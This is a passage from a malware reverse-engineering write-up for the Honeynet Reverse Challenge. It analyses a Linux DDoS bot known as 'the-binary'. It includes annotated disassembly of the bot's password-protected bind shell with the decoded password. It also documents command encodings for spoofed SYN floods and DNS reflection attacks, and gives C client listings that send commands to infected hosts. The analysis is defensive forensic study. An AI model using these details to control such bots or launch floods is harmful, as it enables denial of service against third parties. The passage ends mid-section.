                call    libc_setsid  ; setsid()

                push    1

                push    11h

                call    libc_signal     ; Ignore SIGCHLD

                mov     [ebp+var_11C8], 2 ; var_11C8 = 2

                add     esp, 8

                mov     [ebp+var_11C6], 0F15Ah ; var_11C6 = 61786

                mov     [ebp+var_11C4], 0 ; var_11C4 = 0

                mov     [ebp+var_44C0], 1 ; var_44C0 = 1

                push    0

                push    1

                push    2

                call    libc_socket  ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)

                mov     [ebp+var_socketfd], eax

                push    1

                push    11h

                call    libc_signal     ; Ignore SIGCHLD

                push    1

                push    11h

                call    libc_signal     ; Ignore SIGCHLD

                push    1

                push    1

                call    libc_signal     ; Ignore SIGHUP

                add     esp, 24h

                push    1

                push    0Fh

                call    libc_signal     ; Ignore SIGTERM

                push    1

                push    2

                call    libc_signal     ; Ignore SIGINT

                push    4

                lea     eax, [ebp+var_44C0]

                push    eax

                push    2

                push    1

                mov     ecx, [ebp+var_socketfd]

                push    ecx

                call    libc_setsockopt

                             ; setsockopt(1, SOL_SOCKET, SO_REUSEADDR,

                             ;              TRUE [1], 4 (sizeof BOOLEAN))

                add     esp, 24h

                push    10h

                lea     eax, [ebp+var_11C8]

                push    eax

                mov     edx, [ebp+var_socketfd]

                push    edx

                call    libc_bind

                      ; bind(1, {sin_family=AF_INET, sin_port=htons(23281),

                      ;           sin_addr=inet_addr("0.0.0.0")}}, 16)

                push    3

                mov     ecx, [ebp+var_socketfd]

                push    ecx

                call    libc_listen ; listen(1, 3)

                add     esp, 14h

                nop

loc_8048984:                       

                lea     eax, [ebp+var_44C4]

                push    eax

                lea     eax, [ebp+var_11D8]

                push    eax

                mov     edx, [ebp+var_socketfd]

                push    edx

                call    libc_accept ; accept(1, {sin_family=AF_INET,

                                 ;        sin_port=htons(<origin_port>),

                                 ;  sin_addr=inet_addr("127.0.0.1")}}, [16])

                mov     [ebp+var_44CC], eax

                add     esp, 0Ch

                test    eax, eax

                jz      end_case_5

                call    libc_fork   ;fork()

                test    eax, eax

                jnz     short loc_8048984

                push    0

                push    13h

                lea     eax, [ebp+var_43BC]

                push    eax

                mov     ecx, [ebp+var_44CC]

                push    ecx

                call    libc_recv   ; read 0x13 bytes

                xor     ebx, ebx

                add     esp, 10h

loc_80489D4: 

                mov     al, [ebx+ebp-43BCh] ;

                  ; The objective of this loop is add +1 to every received

                  ; byte. Then, the expected password is TfOjG\0, so we have

                  ; to send SeNiF\0 or SeNiF\n

                cmp     al, 0Ah ; if byte is 0Ah (line feed), make it null.

                jz      short loc_80489E3

                cmp     al, 0Dh ;if byte is 0Dh (Carriage return) make it \0

                jnz     short loc_80489F0

loc_80489E3:    

                mov     byte ptr [ebx+ebp-43BCh], 0 ;

                jmp     short loc_80489FE

loc_80489F0:    

                mov     [ebx+ebp-43BCh], al

                inc     byte ptr [ebx+ebp-43BCh] ; go to next byte

loc_80489FE:        

                inc     ebx

                cmp     ebx, 12h

                jle     short loc_80489D4

                lea     esi, [ebp+var_43BC]

                mov     edi, offset aTfojg ; "TfOjG"

                mov     ecx, 6

                cld

                test    al, 0

                repe cmpsb   ; Find non-matching bytes between incremented

                             ;  received string & "Tf0jG" (6 bytes)

                jz      short case_5_valid_password

                push    0

                push    4

                push    offset unk_806761D

                mov     edx, [ebp+var_44CC]

                push    edx

                call    libc_send  ;if password was incorrect, return

                                   ; 4 bytes: 0xFF 0xFB 1 0

                mov     ecx, [ebp+var_44CC]

                push    ecx

                call    libc_close

                push    1

                call    exit

                nop

case_5_valid_password: 

                push    0

                mov     edx, [ebp+var_44CC]

                push    edx

                call    libc_dup2       ; dup2(2, 0)

                push    1

                mov     ecx, [ebp+var_44CC]

                push    ecx

                call    libc_dup2       ; dup2(2, 1)

                push    2

                mov     edx, [ebp+var_44CC]

                push    edx

                call    libc_dup2       ; dup2(2, 2)

                push    1

                push    offset aSbinBinUsrSbin

                       ;"/sbin:/bin:/usr/sbin:/usr/bin:/usr/loca"...

                push    offset aPath    ; "PATH"

                call    libc_setenv     ; setenv(PATH,"/sbin:...")

                add     esp, 24h

                push    offset aHistfile ; "HISTFILE"

                call    libc_unsetenv   ; delete HISTFILE from environment

                push    1

                push    offset aLinux   ; "linux"

                push    offset aTerm    ; "TERM"

                call    libc_setenv     ; setenv(TERM,"linux")

                push    0

                push    offset aSh      ; "sh"

                push    offset aBinSh   ; "/bin/sh"

                call    libc_execl      ; execl("/bin/sh","sh",0);

                mov     ecx, [ebp+var_44CC]

                push    ecx

                call    libc_close

                add     esp, 20h

                push    0

                call    exit

end_case_5:    

                push    0

                call    exit

                nop

 

 

case 6:

 

The analysis of case 6 is trivial after having done case 2, as this case is a subset of case 2. The assembler code is self-explanatory: After several forks, it runs a command with csh, and do not care about the output.

 

call    libc_fork       ; case 0x6

mov     ds:child2_PID, eax

test    eax, eax

jnz     usleep_and_restart ; default

call    libc_setsid

push    1

push    11h

call    libc_signal

call    libc_fork       ; vfork

add     esp, 8

test    eax, eax

jz      short loc_8048B18

push    4B0h

call    libc_sleep

push    9

mov     eax, ds:child2_PID

push    eax

call    libc_kill

push    0

call    exit

lea     esi, [esi]

loc_8048B18:                           

xor     ebx, ebx

lea     esi, [esi]

loc_8048B1C:                           

mov     al, [ebx+ebp-0FFEh]

mov     [ebx+ebp-1000h], al

inc     ebx

cmp     ebx, 18Dh

jle     short loc_8048B1C

mov     edx, [ebp+var_packet_data_plus_2]

push    edx

push    offset aBinCshFCS ; "/bin/csh -f -c \"%s\" "

lea     ebx, [ebp+var_received_data]

push    ebx

call    libc_sprintf

push    ebx

call    libc_system

push    0

call    libc_exit

 

 

case 7:

 

This case is easily explained, looking at the output from DEC:

 

    eax = *L0807E774;

    if(eax == 0) {

        goto usleep_and_restart;

    }

    kill(eax, 9);

    *L0807E774 = 0;

    goto usleep_and_restart;

 

Knowing that 0x0807E774 is where the binary stores the PID of any child created with fork(), the answer is trivial: it just kills the current child, if any, with signal 9. It is the only way to stop a DoS attack in progress.

 

case 8:

 

This is very similar to case 3, just querying about the A record (RR) of the root domain.

 

case 9:

 

It launches a SYN attack against the designated target. See description of function fcnt_32bis.

 

case 10:

 

This is very similar to case 9. It also uses fcnt_32bis to launch a SYN attack.

 

case 11:

 

It uses fcnt_35 to launch a huge amount of DNS queries against the target ip address. The queries are all recoursive for the domains .edu, .org, .usc.edu, .net, .com.

 

 

Basic analysis of tcpdump and ethereal network traces for the different possible cases when running “the-binary”:

 

Just for completeness, we have included a bit of network traces analysis. This basic analysis was also developed at the beginning of “the-binary” study, after the “strace” command analysis, but before getting into the details of the assembler code that conforms the binary file. All the information extracted and the conclusions shown are not totally accurate and are based on trial and error tests, sending different input data to “the-binary” through the network and looking the different network packets going forth and backwards. All the client packets have been sent with our own “talkto2.c” client.

 

Only the main cases related with network traffic generation have been analyzing in this section: cases 0, 3, 4, 8, 9, A and B. Some network traces examples, not very exhaustive, have been included in the “network_traces” compressed file.

 

CASE 0:

When sending a sample packet to “the-binary”, it can be seen how it responds to this packet, sending a new IP 0xB protocol packet to the localhost (“0.0.0.0”). It uses the system call “sendto()”.

 

CASE 3:

It generates UDP packets from a source IP address (see below) to a "random" set of destination IP addresses. This UDP packets are DNS queries, more precisely, SOA queries for different domains, as ".com" and “.net”. So probably, all the destination IP addresses are real Internet DNS servers (see confirmation bellow).

 

The source port is always an ephemeral client port choosen randomly by the Linux operating system, and the destination port is always the DNS port (53).

 

To analyze how to select the source address, we try different inputs:

If you send "abcd", the source IP address is 100.10.0.0.

If you send "1234", the source IP address is 52.10.0.0.

If you send "00011111" you get 49.49.49.49.

If you send "0001111" you get 49.49.49.49.

If you send "0002222" you get 50.50.50.50.

If you send "00033" you get 51.51.10.0.

If you send "000222" you get 50.50.50.10.

 

So setting up from the 4th to the 7th input characters (“000X.X.X.X”) you can select the four bytes of the source IP address. If you send less than 4 chars, it uses “.10”, or “.10.0”, or “.10.0.0”, or “100.10.0.0”.

 

The same DNS query can be generated manually using "nslookup" command:

[/]# nslookup

Default Server:  dns_server

Address:  1.1.1.1

> set type=SOA

> com

 

- Analysis of the set of destination IP addresses used in DoS UDP traffic (DNS: port 53) generated by “the-binary”:

 

These are some examples of resolved names of some of the destination IP addresses used in the UDP-DNS DoS attack:

 

5.201.219.168.in-addr.arpa             name = rnd.sec.samsung.co.kr

11.64.220.168.in-addr.arpa             name = pby2.pepboys.com

4.16.1.4.in-addr.arpa                      name = vienna1-snsa1.gtei.net.

4.184.17.4.in-addr.arpa                   name = dns0.infor.com.

1.1.33.40.in-addr.arpa                    name = inet.d48.lilly.com.

1.200.197.143.in-addr.arpa             name = proton.optivus.com.

2.1.121.158.in-addr.arpa                 name = ns.umb.edu.

 

We have tested them and all of them are DNS servers, as expected. It should be taken into account that not all the destination IP addresses in the set are resolvable nowadays.

 

CASE 4:

In this case, the destination IP address can be selected based on the input data. Again, with the goal of getting how the destination is formed, we took some trial and error tests:

Using “0002222” you get 50.50.10.0.

Using “0000002“ you get 48.50.10.0.

Using “000001111” you get 49.49.49.49.

Using “00000111” you get 49.49.49.10.

Using “0000011” you get 49.49.10.0.

Using “000001” you get 49.10.0.0.

 

So setting up from the 6th to the 9th input characters (“00000X.X.X.X”) you can select the four bytes of the destination IP address. If you send less than 4 chars, it uses “.10”, or “.10.0”, or “.10.0.0”, or “100.10.0.0”. Apart from that, it always seems to send 29 chars.

 

The destination port associated to this IP address also changes based on the input string, but it seems to be random, cause it changes from time to time sending the same input:

Using “000001111” you get 49.49.49.49 as destination. Port 87.

Using “000031111” you get 49.49.49.49 as destination. Port 39.

Using “000031111” you get 49.49.49.49 as destination. Port 2.

 

CASE 8:

This case is very similar to CASE 3,

 

If you send "abcd", the source IP is 100.10.0.0.

If you send "0002222" you get 50.50.50.50.

If you send "0002222123" (more than 9 characters) it stops, and doesn´t generate network packets through the external network interface. Instead, it tries four times a standard UDP-DNS query, against its internal address, 127.0.0.1, port 53 (DNS), asking for the A record (RR) of the root domain (“.”). Source IP address is the same as the destination address: 127.0.0.1.

 

The same type of query could be generated through “nslookup” command:

[/]# nslookup

Default Server:  dns_server

Address:  1.1.1.1

> .

 

CASE 9:

 

This case sends TCP packets from the system IP address where “the-binary” is running to the destination IP address selected based on the input. The generated TCP packet features are:

-          Source port is ephemeral, so it changes in every packet. Typical random source port.

-          Destination port is always the same: it is based on the input data.

-          TCP sequence number is changing between packets: this is set by the Linux operating system, the typical random sequence number..

-          All packets are trying to establish a TCP connection: SYN flag is sett.

-          Windows size also change in every packet.

 

Due to the fact that it is a SYN, total packet length is 40 bytes: 20 bytes from IP header, 20 bytes from TCP header and a zero bytes payload.

 

Using “000001111” you get 48.48.49.49 as destination IP address and destination port is 12593.

If you send "0001111" you get 49.49.49.49 as destination IP, and destination port 2560.

The same behaviour can be seen changing the first 3 characters in the input: "3331111".

 

So setting up from the 4th to the 7th input characters (“000X.X.X.X”) you can select the four bytes of the destination IP address. With this kind of input, source IP address changes randomly, but in this case it is really random (IP spoofing), not as the destination addresses used in CASE 3.

 

When sending "00011112" it is the same destination IP address defined by the “1111”, but the destination port changes to 12810. When sending "00011113" the destination port changes to 13066.

 

Using "000111101" the destination port is 12337 but the source IP address is the system one.

Using "00011110" the destination port is 12298 but the source IP address is random.

Using "000111102" the destination port is 12338 but the source IP address is the system one.

 

So, in this case you can select the destination IP address, the destination port number, and to forge or not (then using the system IP address) the source IP address.

 

CASE A:

 

It sends TCP packets with variable window size as in CASE 9 and again, the only flag set is the SYN flag. It uses a random source port (ephemeral) and a destination port based on the input data.

The source IP address can also be selected by the input data, and it is random if is “0.0.0.0”, and the destination IP address is based too on the input data information provided.

 

Using “000aaaa“ you get 97.97.97.97 as the destination IP address. Destination port is: 176.

Using “000aaaa0004444” you can set both, the source and destination IP addresses:

97.97.97.97 ---> 52.52.52.52

 

As said before, port is based on the input data, but this information is used internally by the binary to build a packet by itself, using RAW sockets. The port set in the “struct sock_addr” passed to the sendto() system call that can be seen in the “strace” output is not relevant at all.

 

CASE B:

 

This case sends different DNS SOA queries to all the following domains:

.edu

.org

.usc.edu

.net

.com

 

Also sometimes it sends DNS queries without content: the reason for that is it is building the packet by itself in RAW mode. All the queries are DNS recursive queries.

 

Again, the source IP address is random and the destination IP address is selected by the input data. It is possible to select the source IP address with a different input.

 

Using “000aaaa” it sends packet from 10.0.0.0 to 97.97.97.97.

Using “000aaaa1111”, packets go from 49.49.49.49 (characters set as “1”) to 97.97.97.97 (characters set as “a”).

 

 

The end of the story

 

Well, that’s all. Congratulations, you have read it!

 

But before starting answering the official questions, just a couple of conclusions:

 

-          Being armed with good tools is critical for this kind of analysis. Had we had all our programs and scripts at the very beginning, we would have identified all the library functions in a matter of hours, and our job would have been much easier.

-          No tool could do all the work. At some time, you have to do your homework and revise the assembler listings.

-          Forensic analysis of just a crude binary is really time consuming.

-          No matter how much you think you know about systems and security, you always learn a lot.

-          We have worked much, but had a lot of fun!

 

 

 

 


 


 


Appendix 1: talk.c program listing

 

This is the first version of a very basic network client program that allows sending a stream of characters to “the-binary”. Once executed, the user can type one line of characters at a time to be sent. Once launched from command line it waits until the user types a line of characters, which is read from the standard input, and sent to the destination host in a 1044 bytes IP packet: 1024 bytes from the payload and 20 bytes belonging to the IP header.

 

The program must be used by root, because you need enough privileges to be able to use RAW sockets.

 

Using command line arguments user can select the server and protocol to talk to. By default it talks to localhost (127.0.0.1) using protocol 0xB (the one used by “the-binary”).

 

/**************************************************************************\

* File:

*   talk.c

*

* Description:

*   Tool to talk to "the-binary" of The Reverse Challenge.

*

* Revisions:

*        First version.

*

\**************************************************************************/

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <ctype.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

 

/* exit values */

#define EXIT_NO_ROOT 1

#define EXIT_NO_SOCK 1

 

/* default values */

#define SERVER_PROT 0xb

#define BUFF_SIZE 1024

 

void help (char *, char *);

int talk(char *, int);

 

/*

Function:

  main

Description:

  Parses the command line.

*/

int

main (int argc, char * argv[])

{

  char * version = "0.0.1";

  char * server_name = "localhost";

  int server_prot = SERVER_PROT;

  int buff_size = BUFF_SIZE;

  char buffer[BUFF_SIZE];

  char * pbuffer = buffer;

  int sock;

  int c;

  opterr = 0;

 

  while ((c = getopt (argc, argv, "hp:")) != -1)

    switch (c)

      {

      case 'h':

   help(argv[0], version);

   exit(0);

   break;

      case 'p':

   server_prot = atoi(optarg);

   break;

      case 's':

   server_name = (char *)malloc(strlen(optarg));

   strcpy(server_name, optarg);

   break;

      case '?':

   if (isprint (optopt))

     fprintf (stderr, "Option `-%c' IGNORED.\n", optopt);

   else

     fprintf (stderr,

            "Option character `\\x%x' IGNORED.\n",

            optopt);

      }

 

  if (geteuid() != 0)

    {

      fprintf(stderr, "Only root can use this program!.Sorry.\n");

      help(argv[0], version);

      exit(EXIT_NO_ROOT);

    }

  if ((sock = talk(server_name, server_prot)) < 0)

    {

      fprintf(stderr, "Error while creating the socket.\n");

      exit(EXIT_NO_SOCK);

    }

  /* according to the TCP/IP programming guide,

     connectionless sockets  should be used with sendto instead of

     write */

  while(getline(&pbuffer, &buff_size, stdin) != -1)

    {

      write(sock, buffer, buff_size);

      buff_size = BUFF_SIZE;

    }

  close(sock);

 

  return 0;

}

 

/*

Function:

  help

Description:

  prints a help message for the user (obtained with the -h option)

*/

void

help (char * name, char * version)

{

  fprintf(stderr, "USAGE:\n\t%s v%s [-options] [servername]\n\n", name, version);

  fprintf(stderr, "Servername is by default localhost.\n");

  fprintf(stderr, "Options:\n");

  fprintf(stderr, "\t-b #\tblock size for transmision\n");

  fprintf(stderr, "\t-h\tprint this help\n");

  fprintf(stderr, "\t-p #\tset port number\n");

}

 

/*

Function:

  talk

Description:

  Creates a socket to the dessired port.

Returns:

  A file descriptor for the socket (positive value) if successful.

*/

int

talk(char * server_name, int protocol)

{

  struct hostent * host;

  struct in_addr addr;

  int sock, connected;

  struct sockaddr_in address;

 

  /* resolve hostname */

  if (inet_aton(server_name, &addr) == 0)

    {

      host = (struct hostent *)gethostbyname(server_name);

      if (host != NULL)

   memcpy(&addr, host->h_addr_list[0], sizeof(struct in_addr));

      else

   return -1;

    }

 

  /* set address to connect to */

  memset((char *) &address, 0, sizeof(address));

  address.sin_family = AF_INET;

  /*  address.sin_port = (port);*/

  address.sin_addr.s_addr = addr.s_addr;

 

  /* create the socket */

  sock = socket(AF_INET, SOCK_RAW, protocol);

 

  /* "connect" it to set destination address */

  if (connect(sock, (struct sockaddr *) &address,

               sizeof(address)) ==0)

   connected=0;

  if (connected < 0) {

    perror("connect");

    return -2;

  }

 

 

  return sock;

}

 

 

 



 


Appendix 2: rev.c program listing

 

 

/*

 *  rev.c  libnet based program capable of speaking IP 0xB protocol

 *

 */

 

#define DEFAULT_EXT_SIZE 1

#define DEFAULT_PROTOCOL 0xb

#define MAX_BUF 2048

 

#include <libnet.h>

 

void usage(char *);

 

int

main(int argc, char **argv)

{

    int network, packet_size, c;

    u_long src_ip, dst_ip;

    u_long ext_size=DEFAULT_EXT_SIZE;

    u_short protocol=DEFAULT_PROTOCOL;

    u_char *cp, *packet;

    u_char ibuf[MAX_BUF];

 

    printf("Honeynet Reverse Challenge packet creation code.\n");

 

    src_ip  = 0;

    dst_ip  = 0;

 

    while((c = getopt(argc, argv, "d:e:p:s:")) != EOF)

    {     

        switch (c)

        {

            case 'd':

                if (!(dst_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE)))

                {

                    libnet_error(LIBNET_ERR_FATAL, "Bad destination IP address: %s\n", optarg);

                }

                break;

            case 's':

                if (!(src_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE)))

                {

                    libnet_error(LIBNET_ERR_FATAL, "Bad source IP address: %s\n", optarg);

                }

                break;

            case 'e':

         ext_size=atoi(optarg);

                break;

            case 'p':

         protocol=atoi(optarg);

                break;

        }

    }

    if (!src_ip) {

   if (!(src_ip =libnet_name_resolve("127.0.0.1", LIBNET_RESOLVE)))

   {

       libnet_error(LIBNET_ERR_FATAL, "Bad source IP address: %s\n", "127.0.0.1");

   }

    }

    if (!src_ip || !dst_ip || ext_size<1)

    {

        usage(argv[0]);

        exit(EXIT_FAILURE);

    }

 

    /*

     *  total packet size is standard IP header + requested info.

     */

 

    packet_size = LIBNET_IP_H + ext_size;

 

    /*

     * Libnet Memory initialization.

     */

 

    libnet_init_packet(packet_size, &packet);

    if (packet == NULL)

    {

        libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");

    }

 

    /*

     *  Libnet Network initialization.

     */

 

    network = libnet_open_raw_sock(IPPROTO_RAW);

    if (network == -1)

    {

        libnet_error(LIBNET_ERR_FATAL, "Can't open network.\n");

    }

 

    /*

     *  Packet construction (IP header).

     */

 

    libnet_build_ip(LIBNET_TCP_H,   /* size of the packet sans IP header */

            IPTOS_LOWDELAY,         /* IP tos */

            242,                    /* IP ID */

            0,                      /* frag stuff */

            48,                     /* TTL */

            protocol,            /* transport protocol */

            src_ip,                 /* source IP */

            dst_ip,                 /* destination IP */

            NULL,                   /* payload (none) */

            0,                      /* payload length */

            packet);                /* packet header memory */

 

 

  while(read(0, &ibuf, ext_size) > 0)

    {

 

    /*

     *  Packet construction (EXT header).

     */

     memcpy(packet + LIBNET_IP_H,ibuf,ext_size);

 

    /*

     *  Packet checksums.

     */

    if (libnet_do_checksum(packet, IPPROTO_IP, ext_size) == -1)

    {

        libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");

    }

 

 

    /*

     *  Packet injection.

     */

    c = libnet_write_ip(network, packet, packet_size);

    if (c < packet_size)

    {

        libnet_error(LN_ERR_WARNING, "libnet_write_ip only wrote %d bytes\n", c);

    }

    else

    {

        printf("construction and injection completed, wrote all %d bytes\n", c);

    }

 

    }

 

 

    /*

     *  Shut down the interface.

     */

    if (libnet_close_raw_sock(network) == -1)

    {

        libnet_error(LN_ERR_WARNING, "libnet_close_raw_sock couldn't close the interface");

    }

 

 

    /*

     *  Free packet memory.

     */

    libnet_destroy_packet(&packet);

 

    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);

}

 

 

void

usage(char *name)

{

    fprintf(stderr, "usage: %s [-s ip_source] -d ip_destination [-p protocol] [-e extended_size]\n", name);

}

 

 

 



 


Appendix 3: syscall.pl script

 

Knowing in deep detail how the system calls are achieved under the Linux operating system in the Intel x86 hardware platforms, you can better analyze the assembler code associated to a binary running in this environment, as “the-binary” file:

 

1) System calls are carry on through the interrupt eighty: INT 0x80.

2) System call number or identifier is indicated in EAX register.

3) If system call arguments are less than or equal to five are pass thorugh the following registries respectively:

EBX, ECX, EDX, ESI, EDI

4) If arguments are greater than five, they are provided through the stack, pointing EBX register to the first argument.

 

5) All the Linux system calls numbers or identifiers are defined in the “/usr/include/asm/unistd.h” file.

6) The different system call arguments are defined in its corresponding manual page, for example, "man 2 sendto".

 

There is some additional information very important to understand the way the Linux binaries, known as ELF binary programs, are placed in memory when called under Intel x86 platforms:

 

7) The ESP register is the stack pointer.

8) The program arguments are placed in the snack in the following way:

   - Number of arguments (argc): ESP

   - First argument: ESP+4 (program name)

   - More arguments: ESP+8, ESP+12...

   - End of arguments: NULL pointer.

   - Environment variables: after arguments in the same way.

   - End of environment variables: NULL pointer.

9) Code typically starts in the memory address 0x08048000.

10) Memory finishes at address 0xBFFFFFFF.

 

 

#!/usr/bin/perl

 

# File:

#   syscall.pl

#

# Description:

#   Add comments to the output of objdump about the system calls.

#

# Revisions:

#   2002-05-15. First version.

#

 

my @line;

my @aux;

my %syscall;

my $i;

my $j;

 

if (@ARGV < 1) {

    print STDERR "USAGE:\n";

    print STDERR "$0 <objdump_file>\n";

    exit 0;

}

 

# Load system calls names and numbers

open(SYSCALLS, "/usr/include/asm/unistd.h") || die "Couldn't open unistd.h\n";

@line = <SYSCALLS>;

close(SYSCALLS);

foreach $i (@line) {

    chop($i);

    if ($i =~ /\#define __NR_\w+/) {

   @aux = split(/\s+/, $i);

   $aux[1] =~ s/__NR_//;

   $syscall{$aux[2]} = $aux[1];

    }

}

#foreach $i (sort keys %syscall){

#    print "$i: $syscall{$i}\n";

#}

open(FILE,$ARGV[0]) || die "Couldn't open file $ARGV[0]\n";

@line = <FILE>;

close(FILE);

 

for($i = 0;  $i < @line; $i++) {

    if ($line[$i] =~ /int\s+\$0x80$/) {

   chop($line[$i]);

   # Look for a previous line (only 10) to set %eax

   $j = 1;

   while (($j < 10) && ($line[$i-$j] !~ /mov\s+.+,\%eax/)) {

       $j++;

   }

   if ($line[$i-$j] != /mov\s+.+\%eax/) {

       @aux = split(/\s+/, $line[$i-$j]);

       $sysnum = pop(@aux);

       $sysnum =~ s/,\%eax//;

       $sysnum =~ s/^\$0x//;

       $sysnum = hex($sysnum);

 

   }

   print "$line[$i] \# $syscall{$sysnum}()\n";

    } else {

   print $line[$i];

    }

}

 



 


Appendix 4: talkto.c program listing

 

To be able to talk and send meaningful IP packets to “the-binary” through the network, some simple network client programs were created in C language. The client program evolution through the time and its descriptions are presented in various appendixes:

 

talk.c: First version (see additional compressed files to get this initial source code).

 

This was the first version of a very basic network client program that allows sending a stream of characters to “the-binary”. Once executed, the user can type on line of characters at a time to be sent.

Once launched from command line it waits until the user types a line of characters, which is read from the standard input, and sent to the destination host in a 1044 bytes IP packet: 1024 bytes from the payload and 20 bytes belonging to the IP header.

 

The program must be used by root, cause you need enough privileges to be able to use RAW sockets.

 

Using command line arguments user can select the server and protocol to talk to. By default it talks to localhost (127.0.0.1) using protocol 0xB (the one used by “the-binary”).

 

talkto.c: Payload adapted to talk “to the-binary”.

 

After analyzing the behaviour of “the-binary” and getting enough information to know what was expected in the network packet, the main changes in this new version were:

-          Force first byte of the payload to be "0x02".

-          A new option was added for selecting the number of bytes to be sent in the packet. Default is 1500 bytes, the Ethernet MTU.

 

The packet size should be at least 201 bytes, the minimum expected by "the-binary", 20 bytes from IP header plus 181 bytes in the payload. So if you are using the new added option “-b”, at least you need to specify a value equal or greater than 181.

All the information sent in IP packets was finished in 0x0A, a carriage return, just for homogeneity.

Some basic debugging was made to improve the previous version.

 

/***************************************************************************\

* File:

*   talkto.c

*

* Description:

*   Tool to talk to "the-binary" of The Reverse Challenge.

*

* Revisions:

*

*   2002-05-14. Payload adapted to talk “to the-binary”.

*  First version derived from "talk.c":

*  - Force first byte of the payload to be "0x02".

*  - Option for selecting number of bytes inside the packet. Default is 1500 bytes.

*   It should be at least 201 bytes: the minimum expected by "the-binary":

*    201 bytes = 20 IP header + 181 payload.

*

\***************************************************************************/

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <ctype.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

 

/* exit values */

#define EXIT_NO_ROOT 1

#define EXIT_NO_SOCK 1

 

/* default values */

#define SERVER_PROT 0xb

#define BUFF_SIZE 1480 /* Ethernet MTU: 1500 - IP header: 20 */

 

void help (char *, char *);

int talk(char *, int);

 

/*

Function:

  main

Description:

  Parses the command line.

*/

int

main (int argc, char * argv[])

{

  char * version = "1.0.0";

  char * server_name = "localhost";

  int server_prot = SERVER_PROT;

  int buff_size = BUFF_SIZE;

  char buffer[BUFF_SIZE];

  char * pbuffer = buffer;

  int sock;

  int c;

  int i = 0;

  int size = buff_size;

  /* By default it sends 1500 bytes packets = Ethernet MTU */

 

  opterr = 0;

 

  /* Initializing buffer */

  bzero(buffer,BUFF_SIZE);

 

  while ((c = getopt (argc, argv, "hp:s:b:")) != -1)

    switch (c)

      {

      case 'h':

   help(argv[0], version);

   exit(0);

   break;

      case 'p':

   server_prot = atoi(optarg);

   break;

      case 's':

   server_name = (char *)malloc(strlen(optarg));

   strcpy(server_name, optarg);

   break;

      case 'b':

   size = atoi(optarg);

   if (size > buff_size) {

     fprintf (stderr, "Option `-%c': size (bytes) must be less than %d.\n", optopt,

                buff_size);

     exit(-1);

   }

   break;

      case '?':

   if (isprint (optopt))

     fprintf (stderr, "Option `-%c' IGNORED.\n", optopt);

   else

     fprintf (stderr,

            "Option character `\\x%x' IGNORED.\n",

            optopt);

      }

 

  if (geteuid() != 0)

    {

      fprintf(stderr, "Only root can use this program!.Sorry.\n");

      help(argv[0], version);

      exit(EXIT_NO_ROOT);

    }

  if ((sock = talk(server_name, server_prot)) < 0)

    {

      fprintf(stderr, "Error while creating the socket.\n");

      exit(EXIT_NO_SOCK);

    }

  /* according to the TCP/IP programming guide,

     connectionless sockets  should be used with sendto instead of

     write */

 

  buff_size = BUFF_SIZE-1;

  pbuffer++;

 

  /* We get the user input and copy it to the buffer from the second byte to the end */

  while( (i=getline(&pbuffer, &buff_size, stdin)) != -1)

    {

 

     /* Set first packet byte to 0x02 as "the-binary" expects */

     *buffer=0x02;

     buff_size = BUFF_SIZE;

 

     printf("(0x%d)%s\n",*buffer,buffer);

 

     /* Number of bytes to write:

          - if option "-b" was not used, it will write 1480 bytes payload.

          - if option "-b" was used:

                - if "size" is less or equal to "i+1" (characters read plus the 0x02)

                  then we write only the first "size" characters.

                  We set an ENTER (0x0a) at the end of the packet.

                - if "size" is greater than the read characters, "i+1",

                  then we write all the read characters.

     */

 

     /* Payload allways has the characters and an end 0x0a */

     if (size <= i) {

         buffer[size-1]=0x0a;

     }

     else {

         /* Nothing to do: we send all the read chars + zero aditional chars */

     }

 

     /* We only write the number of bytes selected (size) from the buffer */

      write(sock, buffer, size);

 

      /* Re-Initializing buffer */

    bzero(buffer,BUFF_SIZE);

 

      buff_size = BUFF_SIZE-1;

    }

  close(sock);

 

  return 0;

}

 

 

 

/*

Function:

  help

Description:

  prints a help message for the user (obtained with the -h option)

*/

void

help (char * name, char * version)

{

  fprintf(stderr, "USAGE:\n\t%s v%s [-options] \n\n", name, version);

  fprintf(stderr, "Servername is by default localhost.\n");

  fprintf(stderr, "Options:\n");

  fprintf(stderr, "\t-h #\tprint this help\n");

  fprintf(stderr, "\t-p #\tset protocol number (default is 0x0b)\n");

  fprintf(stderr, "\t-s #\tset server name (default is localhost)\n");

  fprintf(stderr, "\t-b #\tpayload block size for transmision (IP header includes 20 bytes)\n");

  fprintf(stderr, "\nExample.-\n");

  fprintf(stderr, "\t%s -shostname -p80 -b128 \n", name);

}

 

 

 

/*

Function:

  talk

Description:

  Creates a socket to the dessired server and protocol.

Returns:

  A file descriptor for the socket (positive value) if successful.

*/

int

talk(char * server_name, int protocol)

{

  struct hostent * host;

  struct in_addr addr;

  int sock, connected;

  struct sockaddr_in address;

 

  /* resolve hostname */

  if (inet_aton(server_name, &addr) == 0)

    {

      host = (struct hostent *)gethostbyname(server_name);

      if (host != NULL)

   memcpy(&addr, host->h_addr_list[0], sizeof(struct in_addr));

      else

   return -1;

    }

 

  /* set address to connect to */

  memset((char *) &address, 0, sizeof(address));

  address.sin_family = AF_INET;

  /*  address.sin_port = (port);*/

  address.sin_addr.s_addr = addr.s_addr;

 

  /* create the socket */

  sock = socket(AF_INET, SOCK_RAW, protocol);

 

  /* "connect" it to set destination address */

  connected = connect(sock, (struct sockaddr *) &address,

               sizeof(address));

  if (connected < 0) {

    perror("connect");

    return -2;

  }

 

  return sock;

}

 

 

 



 


Appendix 5: strace output for 12 cases

 

This basic analysis was developed at the beginning of “the-binary” study, before getting into the details of the assembler code that conforms the binary file. So all the information extracted and the conclusions shown are not accurate and are based on trial and error tests based on sending different input data to “the-binary” through the network. Although “the-binary” present 11 cases, we have included tests for all of them except case number 6. Cases 1 and 7 were not very useful at this moment. The “strace” output information files referenced has been included in the “strace” compressed file.

 

CASE 0:

